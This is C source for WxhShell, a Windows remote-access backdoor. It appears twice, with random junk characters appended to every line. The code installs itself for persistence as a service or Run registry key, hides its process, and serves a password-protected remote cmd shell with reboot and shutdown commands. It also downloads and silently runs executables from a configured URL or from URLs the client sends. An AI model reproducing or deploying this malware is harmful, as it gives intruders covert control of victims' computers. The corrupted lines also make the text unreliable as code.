    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .[Hv/?L  
    if(Boot(SHUTDOWN)) )@hG#KMK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3;E,B7,mQ  
    else { 8am/5o  
    closesocket(wsh); { K,KIj"  
    ExitThread(0); 'P`L?/_3  
    } 8lJMD %Df:  
    break; sM  _m  
    } %=PGvu  
  // 获取shell *z3wm-z1&  
  case 's': { 9$iDK$%  
    CmdShell(wsh); _?m%i]~o  
    closesocket(wsh); jb'A Os  
    ExitThread(0); dH[TnqJn  
    break; tUrwg  
  } 15)y]N={^  
  // 退出 }$wWX}@  
  case 'x': { I `I+7~t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jmcf9g  
    CloseIt(wsh); vi8)U]6  
    break; wVMR&R<t  
    } I}!Er V  
  // 离开 }iBFo\vU  
  case 'q': { 0^G5 zQlj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6 h%%?  
    closesocket(wsh); C\RJ){dk  
    WSACleanup(); &?wNL@n  
    exit(1); a}#8n^2  
    break; *? <ygzX  
        } R4 x!b`:i  
  } :Y\!~J3W  
  } []#>r k~  
9irT}e  
  // 提示信息 #@^mA{Dt5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wx]r{  
} X 8#Uk}/  
  } f*tKj.P  
%jc"s\  
  return; ?mME^?x Mu  
} R8(Bt73  
Dmq_jt  
// shell模块句柄 WNo",Vc  
int CmdShell(SOCKET sock) ~REP@!\r^  
{ D$&LCW#x  
STARTUPINFO si; 5+yT{,(5  
ZeroMemory(&si,sizeof(si)); K'tckJ#%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^U@-Dp,k+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e4rhB"qQdn  
PROCESS_INFORMATION ProcessInfo; fx#Krr @  
char cmdline[]="cmd"; Ak=|wY{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3l?-H|T  
  return 0;  >M-ZjT>  
} Of?3|I3 l  
fHc/5uYW  
// 自身启动模式 "eOFp\vPr  
int StartFromService(void) bayDdR4T  
{ 2z+-vT%  
typedef struct \[MQJX,dn  
{ wB0K e  
  DWORD ExitStatus; l+n0=^ Z  
  DWORD PebBaseAddress; vf-cx\y7  
  DWORD AffinityMask; _4lhwKYU  
  DWORD BasePriority; *<rBV`AP  
  ULONG UniqueProcessId; z($h7TZ$  
  ULONG InheritedFromUniqueProcessId; Pko2fJt1  
}   PROCESS_BASIC_INFORMATION; ckCb)r_  
azT@S=,  
PROCNTQSIP NtQueryInformationProcess; Q/u1$&1  
9 U!-Zn!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6O9?":3;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tLc 9-  
|o0?u:  
  HANDLE             hProcess; i<>zN^zn  
  PROCESS_BASIC_INFORMATION pbi; U|!L{+F  
jJU9~5i?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 530Z>q  
  if(NULL == hInst ) return 0; v$_YZm{!<  
c(5r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a3?D@@Qnw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8IrA {UU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +PfXc?VU  
fRT4,;  
  if (!NtQueryInformationProcess) return 0; Ed$;#4  
g[ dI%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [<H'JsJl  
  if(!hProcess) return 0; Q q7+_,w  
=MCQNyf+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [n!5!/g>j  
} 63Qh}_Y  
  CloseHandle(hProcess); =FfxHo1k  
{!G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gLGu#6YVu  
if(hProcess==NULL) return 0; c"H59 jE  
m?4L>'  
HMODULE hMod; DE659=Tq  
char procName[255]; %D9,Femt  
unsigned long cbNeeded; n +R3  
5:r*em  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~0 5p+F)  
aUVJ\ ;V  
  CloseHandle(hProcess); XoZPz  
3LK]VuZE  
if(strstr(procName,"services")) return 1; // 以服务启动 W7 iml|WV0  
dd{pF\a  
  return 0; // 注册表启动 VGDds  
} VP\'p1a  
vSf ?o\O  
// 主模块 _5%NG 3c  
int StartWxhshell(LPSTR lpCmdLine) m5w ZS>@  
{ EqB3f_  
  SOCKET wsl; G{C27k>wa  
BOOL val=TRUE; ,k=1 '7d  
  int port=0; hynX5,p;.  
  struct sockaddr_in door; dd=' ;%?  
G,]%dZH e  
  if(wscfg.ws_autoins) Install(); k_$9cVA  
O wJZ?j& )  
port=atoi(lpCmdLine); miCW(mbO8  
)4@La&  
if(port<=0) port=wscfg.ws_port; |4lrVYG^K  
V < ;vy&&  
  WSADATA data; H)u<$y!8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Frxim  
A3jT;D9Y%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U! xOJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0w24lVR.  
  door.sin_family = AF_INET; 'tRaF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I<v:x Tor  
  door.sin_port = htons(port); -kZOve|5  
SA1| 7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _ U%fD|t  
closesocket(wsl); n@"h^-  
return 1; ?~g X7{>  
} ]EhU8bZ  
(w+dB8 )X  
  if(listen(wsl,2) == INVALID_SOCKET) { ~ R:=zGDV  
closesocket(wsl); qDzd_E@aR  
return 1; _0uFe7sIZ  
} L(Ffa(i  
  Wxhshell(wsl); k%[pZ 5.!  
  WSACleanup(); |` +G7?)Y  
U:[#n5g  
return 0; Z[&7NJo(  
 ,m^@S  
} 9N?BWv }  
`z?6.+C  
// 以NT服务方式启动 m:{ws~   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e?"XMY  
{ G"~%[k  
DWORD   status = 0; nKP[U=ac  
  DWORD   specificError = 0xfffffff; !VF.=\iH/  
l-GQ AI8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oK!W<#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^I4/{,Ev  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^9g+\W  
  serviceStatus.dwWin32ExitCode     = 0; .@(+.G  
  serviceStatus.dwServiceSpecificExitCode = 0; R>05MhA+  
  serviceStatus.dwCheckPoint       = 0; ND3(oes+;K  
  serviceStatus.dwWaitHint       = 0; :W++`f&  
6N^sUc0s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H+VKWGmfG  
  if (hServiceStatusHandle==0) return; Wg3\hv29  
iHp@R-g  
status = GetLastError(); j |N8"8"  
  if (status!=NO_ERROR) H /kSFf{  
{ 5,pKv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [^U#ic>cT  
    serviceStatus.dwCheckPoint       = 0; [J6*Q9B<V&  
    serviceStatus.dwWaitHint       = 0; D m|_;iO,  
    serviceStatus.dwWin32ExitCode     = status; RH=Tu6i  
    serviceStatus.dwServiceSpecificExitCode = specificError; c|s*(WljY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "HuV'  
    return; &?-LL{W{  
  } 7xmyjy%c  
bg8<}~zg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x@@U&.1_A  
  serviceStatus.dwCheckPoint       = 0; h7EKb-@  
  serviceStatus.dwWaitHint       = 0; z&"-%l.b@}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $SP*hkU  
} 7H1 ii   
/p=9"?  
// 处理NT服务事件,比如:启动、停止 m}x&]">9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OYWW<N+R2  
{ D~;hIt*  
switch(fdwControl) q 16jL,i  
{ 1D,$Az~.  
case SERVICE_CONTROL_STOP: y5XHJUTu  
  serviceStatus.dwWin32ExitCode = 0; 2 us-s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k{fCU%  
  serviceStatus.dwCheckPoint   = 0; ?a h<Qf]  
  serviceStatus.dwWaitHint     = 0; j4au Zl]NF  
  { }HM8VAH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RaK fYLw  
  } $II[b-X?S  
  return; I[~EQ {Iz  
case SERVICE_CONTROL_PAUSE: 6AZJ,Q\E@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *cdr,AD?lH  
  break; Fh XR!x^  
case SERVICE_CONTROL_CONTINUE: <p48?+K9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T K)Kq  
  break; _)J;PbK~  
case SERVICE_CONTROL_INTERROGATE: \haJe~  
  break; ?fog 34g  
}; k,L,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _YXk ,ME!Q  
} D t~Jx\\  
>K{/Jx&  
// 标准应用程序主函数 r h*Pl]'3z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {emO&#=@CP  
{ Gy9+-7"V  
w_po5[]R  
// 获取操作系统版本 {x $H# <Y  
OsIsNt=GetOsVer(); `;7^@k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pV:c`1\`  
/ r#.BXP  
  // 从命令行安装 r\y~ :  
  if(strpbrk(lpCmdLine,"iI")) Install(); q$EicH}k8  
1}e1:m]r  
  // 下载执行文件 DLYk#d: q?  
if(wscfg.ws_downexe) { #>-_z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AL/q6PWi  
  WinExec(wscfg.ws_filenam,SW_HIDE); N|c;Qzl  
} 4@PH5z  
1F*gPhm  
if(!OsIsNt) { hKw4[wB]  
// 如果时win9x,隐藏进程并且设置为注册表启动 R07Kure  
HideProc(); +tL]qO BP  
StartWxhshell(lpCmdLine); 8\m_.e  
} d `LBFH,  
else _94|^   
  if(StartFromService()) UQ#"^`=R<  
  // 以服务方式启动 sE$!MQb  
  StartServiceCtrlDispatcher(DispatchTable); ffK A  
else G>{Bij44  
  // 普通方式启动 j nvi_Rodm  
  StartWxhshell(lpCmdLine); T:aYv;#0  
1u&}Lq(  
return 0; [*U6L<JI  
} (tV/.x*G  
Q=lQy  
!|{T>yy  
z=>U>  
=========================================== tz-, |n0  
PSz|I8 c  
DjK:)  
"ewSh<t  
GGcN aW'  
gT$`a  
" nZe2bai  
)IQa]A  
#include <stdio.h> H(U`S  
#include <string.h> ]NS{q85  
#include <windows.h> e;9Z/);#s  
#include <winsock2.h> A L|F Bd  
#include <winsvc.h> ?4Z`^uy  
#include <urlmon.h> 8SII>iL{  
n}cjVH5  
#pragma comment (lib, "Ws2_32.lib") fB+4mEG@  
#pragma comment (lib, "urlmon.lib") L=4%MyZ.e  
Tg|0!0qD]F  
#define MAX_USER   100 // 最大客户端连接数 7M*&^P\}es  
#define BUF_SOCK   200 // sock buffer {/SUfXq  
#define KEY_BUFF   255 // 输入 buffer - Te+{  
wlk{V  
#define REBOOT     0   // 重启 ^6R?UG;6  
#define SHUTDOWN   1   // 关机 KECo7i=e  
{%W'Zx  
#define DEF_PORT   5000 // 监听端口 !5lb+%7  
xi|T7,\X  
#define REG_LEN     16   // 注册表键长度 cKt=_4Lf  
#define SVC_LEN     80   // NT服务名长度 k I  
(/TYET_H  
// 从dll定义API  [@YeQ{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zvjp]yTx"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m{T:<:q~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [?z`XY_-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s`Z | A  
g{{DC )>  
// wxhshell配置信息 '/l<\b/E  
struct WSCFG { ,gAa9  
  int ws_port;         // 监听端口 Zi'}qs$v  
  char ws_passstr[REG_LEN]; // 口令 ]\DZW4?'  
  int ws_autoins;       // 安装标记, 1=yes 0=no fCC^hB]'  
  char ws_regname[REG_LEN]; // 注册表键名 X0a)6HZ{  
  char ws_svcname[REG_LEN]; // 服务名 *Ae> ,LyE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aY:u-1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #6okd*^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;5S'?fj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r xlKoa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Owd{;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wz[Xay9jW  
3Lg)237&j  
}; z[vHMJ 0  
{N.J A=  
// default Wxhshell configuration \\U,|}L .  
struct WSCFG wscfg={DEF_PORT, V.\12P  
    "xuhuanlingzhe", nC6 ;:uM  
    1, g/3t@7*<  
    "Wxhshell", k`aHG8S\  
    "Wxhshell", qnO>F^itF  
            "WxhShell Service", W=-:<3XL  
    "Wrsky Windows CmdShell Service", cmcR @zv  
    "Please Input Your Password: ", X0FTD':f  
  1, G!<-9HA5  
  "http://www.wrsky.com/wxhshell.exe", %p; 'l  
  "Wxhshell.exe" "A9qC*6[  
    }; sa?Ul)L2  
q0t}  
// 消息定义模块 Q0j4 c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,#V }qSKUS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $R&K-;D/8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i:/Ws1=q  
char *msg_ws_ext="\n\rExit."; hBRcI0R  
char *msg_ws_end="\n\rQuit."; IIh \ d.o  
char *msg_ws_boot="\n\rReboot..."; ;0"p)O@s04  
char *msg_ws_poff="\n\rShutdown..."; tX.fbL@ T  
char *msg_ws_down="\n\rSave to "; ]@P!Q&V #  
9]4W  
char *msg_ws_err="\n\rErr!"; _Dq, \}  
char *msg_ws_ok="\n\rOK!"; Oaj$Z- f  
^l8&y;-T  
char ExeFile[MAX_PATH]; bc3 T8(  
int nUser = 0; Bw Cwy  
HANDLE handles[MAX_USER]; L]e@. /C$  
int OsIsNt; \2#j1/d4  
\c(Z?`p]R1  
SERVICE_STATUS       serviceStatus; %=*nJvYS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ; 8B )J<y  
)RCva3Ul  
// 函数声明 {lO>i&mx  
int Install(void); hd%O\D?  
int Uninstall(void); #+ai G52+  
int DownloadFile(char *sURL, SOCKET wsh); ]_js-+w6  
int Boot(int flag); ]!'}{[1}  
void HideProc(void); Lk`,mjhk  
int GetOsVer(void); }}X<e  
int Wxhshell(SOCKET wsl); )YY8`\F>1  
void TalkWithClient(void *cs); g;-6Hg'  
int CmdShell(SOCKET sock); kE[Hq-J=N  
int StartFromService(void); c`s ]ciC  
int StartWxhshell(LPSTR lpCmdLine); o?`^ UG-   
2qDyb]9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bH`r=@.:cu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <(tnClAn  
@g%^H)T  
// 数据结构和表定义 u;Rm/.  
SERVICE_TABLE_ENTRY DispatchTable[] = ZOzwO6(_  
{ @!KG;d:l  
{wscfg.ws_svcname, NTServiceMain}, UZ-[vD1n  
{NULL, NULL} t2_pwd*B  
}; 9Ac4'L  
5J2tR6u-(  
// 自我安装 zW:r7 P.  
int Install(void) :Oh*Q(>  
{ (X/dP ~  
  char svExeFile[MAX_PATH]; 2*pNIc  
  HKEY key; *}RV)0mif  
  strcpy(svExeFile,ExeFile); COFCa&m9c  
r 3FUddF'  
// 如果是win9x系统,修改注册表设为自启动 B#, TdP]/  
if(!OsIsNt) { EY}*}-3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z@gEJ^"yA"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Y~gItej  
  RegCloseKey(key); FB }8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Y P7'Fz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tk66Ggi[K  
  RegCloseKey(key); fD~f_Wr  
  return 0; 8c<OX!  
    } a"!r]=r  
  } +L-(Lz[p  
} !)HB+yr  
else { a~w l D.P  
0NMmN_Lr  
// 如果是NT以上系统,安装为系统服务 ]EfM;'j[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9/dI 6P7  
if (schSCManager!=0) |*y'H*  
{ O`TM}  
  SC_HANDLE schService = CreateService UI_u:a9Q/  
  ( `2a7y]?  
  schSCManager, f"aqg/l  
  wscfg.ws_svcname, Jl@YBzDfF  
  wscfg.ws_svcdisp, 8fC 5O  
  SERVICE_ALL_ACCESS, D[Kq`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0}wmBSl  
  SERVICE_AUTO_START, +?ilTU  
  SERVICE_ERROR_NORMAL, c^8csQ fG  
  svExeFile, {O5(O oDa  
  NULL, c;doxNd6  
  NULL, R=<uf:ca  
  NULL, G~{#%i  
  NULL, SGUZ'}  
  NULL '"]QAj?N  
  ); B j z@X  
  if (schService!=0) j% Wip j;c  
  { I9hZ&ed16  
  CloseServiceHandle(schService); m98w0D@Ee  
  CloseServiceHandle(schSCManager); Z3N^)j8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yv2wQ_({  
  strcat(svExeFile,wscfg.ws_svcname); Lem:zXj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?vg|;Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gh<2i\})'  
  RegCloseKey(key); ,A;wLI  
  return 0; VL8yL`~zc.  
    } 3) _(t.$D  
  } XpT+xv1`;  
  CloseServiceHandle(schSCManager); R@lA5w  
} Dz<vIMLF{  
} Q)93 +1]  
W3]?>sLE*  
return 1; 6GsB*hW  
} 2<TpNGXM_  
U$EQeb  
// 自我卸载 ]_mcJ/6:  
int Uninstall(void) ^$~&e :{  
{ 9IJc9Sv(  
  HKEY key; U IHe^?R  
9N;y^ Y\  
if(!OsIsNt) { 0<u(!iL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2W6t0MgZ  
  RegDeleteValue(key,wscfg.ws_regname); iE* Y@E5x0  
  RegCloseKey(key); B<!WAw+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M:R|hR{=*  
  RegDeleteValue(key,wscfg.ws_regname); e<duD W$X  
  RegCloseKey(key); r%vO^8FQ  
  return 0; qqr]S^WW  
  } gF~#M1!!  
} vhL/L?NB$  
} 7qEc9S@  
else { df7 xpV  
oWV^o8& GH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;[!W*8.c  
if (schSCManager!=0) ?.6fVSa  
{ o>@9[F,h+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U%l<48@8  
  if (schService!=0) RZTC+ylj  
  { R[f@g;h  
  if(DeleteService(schService)!=0) { N5Ih+8zT  
  CloseServiceHandle(schService); (laVmU?I7  
  CloseServiceHandle(schSCManager); lj"72   
  return 0; D:fLQ8a  
  } ebIRXUF}>  
  CloseServiceHandle(schService); C$7dmGjZ  
  } (x/xqDpmBS  
  CloseServiceHandle(schSCManager); -(l/.yE{X  
} p[:E$#W~;  
} {/q4W; D  
G&dz<f  
return 1; mE"},ksg  
} |\J! x|xy  
xv~E wT)  
// 从指定url下载文件 0` UrB:  
int DownloadFile(char *sURL, SOCKET wsh) DW0UcLO  
{ 2F|06E'  
  HRESULT hr; q#*b4q {  
char seps[]= "/"; !z |a+{  
char *token; k?qd -_sC  
char *file; MznMt2-u  
char myURL[MAX_PATH]; ghDOz 3  
char myFILE[MAX_PATH]; ER)to<k  
>;Vy{bL8  
strcpy(myURL,sURL); y({EF~w  
  token=strtok(myURL,seps); |>jlmaV  
  while(token!=NULL) k8O%gO  
  { C252E  
    file=token; Ct0YwIR*  
  token=strtok(NULL,seps); qL/XGIxL?  
  } a:}&v^v  
OuV f<@a  
GetCurrentDirectory(MAX_PATH,myFILE); #ByrX\  
strcat(myFILE, "\\"); z-`-0@/A$  
strcat(myFILE, file); GCv*a[8?n  
  send(wsh,myFILE,strlen(myFILE),0); EbMG9  
send(wsh,"...",3,0); Erq% Ck(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *;Gnod<  
  if(hr==S_OK) d <Rv~F@  
return 0; GOj<>h}r  
else ?@5#p*u0  
return 1; ]hjA,p@Q  
RinaGeim  
} q !Nb-O{  
GcCMCR3  
// 系统电源模块 Wv-nRDNG  
int Boot(int flag) v>E3|w%  
{ v8NoD_  
  HANDLE hToken; CK#SD|~:  
  TOKEN_PRIVILEGES tkp; l t{yo\  
e2vL UlL8  
  if(OsIsNt) { @V71%D8{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #/2W RN1L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XS`=8FQ  
    tkp.PrivilegeCount = 1; $p~X"f?0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {p)=#Jd`.P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2y@y<38  
if(flag==REBOOT) { H3Sfz'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P#N@W_""YD  
  return 0; P=PVOt@ b  
} VY_<c98v  
else { 82A[[^`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RZ GD5`n  
  return 0; XpoEZ|0  
} ;.#l[  
  } ^UiSezc I  
  else { oV=~ Q#v  
if(flag==REBOOT) { C ehz]C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8D1+["&  
  return 0; _0 $W;8X  
} Ry4`Q$=:  
else { tk~<tqMq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PYJ8\XZ1_N  
  return 0; 5`O af\S  
} v]e6CZwo  
} n s`njx}C  
m8C scC Z}  
return 1; aW@J]slg  
} k(%h{0'  
w;8VD`>[|  
// win9x进程隐藏模块 M;zJ1  
void HideProc(void) qTi%].F"G  
{ Hsvu&>[`S  
XR.Sm<A[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P DtLJt$  
  if ( hKernel != NULL ) {j4J(dtO  
  { qe_59'K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <WGx 6{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x9B5@2J1  
    FreeLibrary(hKernel); o.M.zkP a  
  } ?TEdGe\*  
wTK>U`o  
return; { ((|IvP`  
} t?6_^ 08  
a?5R ;I B  
// 获取操作系统版本 }`*DMI;-  
int GetOsVer(void) `vj"HhC  
{ z3 Ro*yJU  
  OSVERSIONINFO winfo; [ r;hF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J sc`^a%`'  
  GetVersionEx(&winfo); v dR6y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '>0rp\jC  
  return 1; >+ E  
  else `6BjNV  
  return 0; 'X{J~fEI!  
} ;JAb8dyS2  
})^%>yLfc|  
// 客户端句柄模块 t) h{ w"v  
int Wxhshell(SOCKET wsl) )Ept yH  
{ cO^}A(Ma(  
  SOCKET wsh; jo ^+  
  struct sockaddr_in client; \V/;i.ng  
  DWORD myID; />[X k  
7PG|e#  
  while(nUser<MAX_USER) Y~C;M6(P  
{ q>H f2R  
  int nSize=sizeof(client); "+GKU)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .L'eVLQe  
  if(wsh==INVALID_SOCKET) return 1; :3$-Qv X  
+ZU@MOni  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \qB:z7I2  
if(handles[nUser]==0) Y*q_>kps"  
  closesocket(wsh); HMrl!;:  
else f{j (H?5  
  nUser++; :jU u_s}  
  } _q /UDf1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +PGtO9}B  
3I%F,-r  
  return 0; @ - _lw  
} Weu%&u-  
P@pJ^5Jf  
// 关闭 socket cW*p}hD  
void CloseIt(SOCKET wsh) DgB]y6~KXl  
{ !w #x@6yq  
closesocket(wsh); \]gUX-  
nUser--; wjnQK  
ExitThread(0); sUEvL( %nY  
} BiI}JEp4o  
0b~{l;  
// 客户端请求句柄 NP?hoqeKs  
void TalkWithClient(void *cs) @/yJTMcf  
{ Zwxu3R_  
q;0QI{:5v  
  SOCKET wsh=(SOCKET)cs; dB%q`7O  
  char pwd[SVC_LEN]; "Nlw&+ c7  
  char cmd[KEY_BUFF]; ZB@Bj>,b p  
char chr[1]; 'hn=X7  
int i,j; @+ee0 CLT  
NiPa-yRh  
  while (nUser < MAX_USER) { z=/xv},  
QYj8c]8f  
if(wscfg.ws_passstr) { !1<?ddH6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j\9v1O!T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ="Sa>-d o,  
  //ZeroMemory(pwd,KEY_BUFF); xHo iu$i6  
      i=0; C. rLog#  
  while(i<SVC_LEN) { VvJ]*D+e  
u^NZsuak  
  // 设置超时 dOfEEqPI  
  fd_set FdRead; &Y/Myh[P  
  struct timeval TimeOut; ="=Aac#n`  
  FD_ZERO(&FdRead); vx&r  
  FD_SET(wsh,&FdRead); @& vtY._  
  TimeOut.tv_sec=8; 2^.qKY@g@  
  TimeOut.tv_usec=0; B^C!UWN>%X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {:m%n-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e6JT|>9A7  
rs?"pGz;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @M!Wos Rk  
  pwd=chr[0]; c 6"hk_  
  if(chr[0]==0xd || chr[0]==0xa) { Fs|aH-9\  
  pwd=0; lmjoSINy  
  break; ~Vf+@_G8`  
  } 1O{x9a5Z?O  
  i++; 7g a|4j3%  
    } *4<Kz{NF  
_Boe"   
  // 如果是非法用户,关闭 socket @ a?^2X^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EX.`6,:+2  
} 6x$1En  
se:lKZZ]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =|_{J"sv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *#n?6KqZ  
4gRt^T-?  
while(1) { 8H})Dq%d7  
sVjM^y24  
  ZeroMemory(cmd,KEY_BUFF); (" ,(@nS  
Oi~ ]~+2  
      // 自动支持客户端 telnet标准   z%cpV{Nu  
  j=0; RV2s@<0p  
  while(j<KEY_BUFF) { vUa&9Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5`?'}_[Yj  
  cmd[j]=chr[0]; MsL*\)*s  
  if(chr[0]==0xa || chr[0]==0xd) { aOr'OeG(=e  
  cmd[j]=0; F7r!zKXZ  
  break; I8RPW:B;B  
  } .2V`sg.!  
  j++; !L)~*!+Gf  
    } as%ab[ fX  
E"|LA[o  
  // 下载文件 wh~g{(Xvq  
  if(strstr(cmd,"http://")) { .7"]/9oB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |z`kFil%  
  if(DownloadFile(cmd,wsh)) <,S5(pZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~VqDh*0  
  else viP.G/(\]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t"]+}]O  
  } TrBBV]4  
  else { (6*CORE   
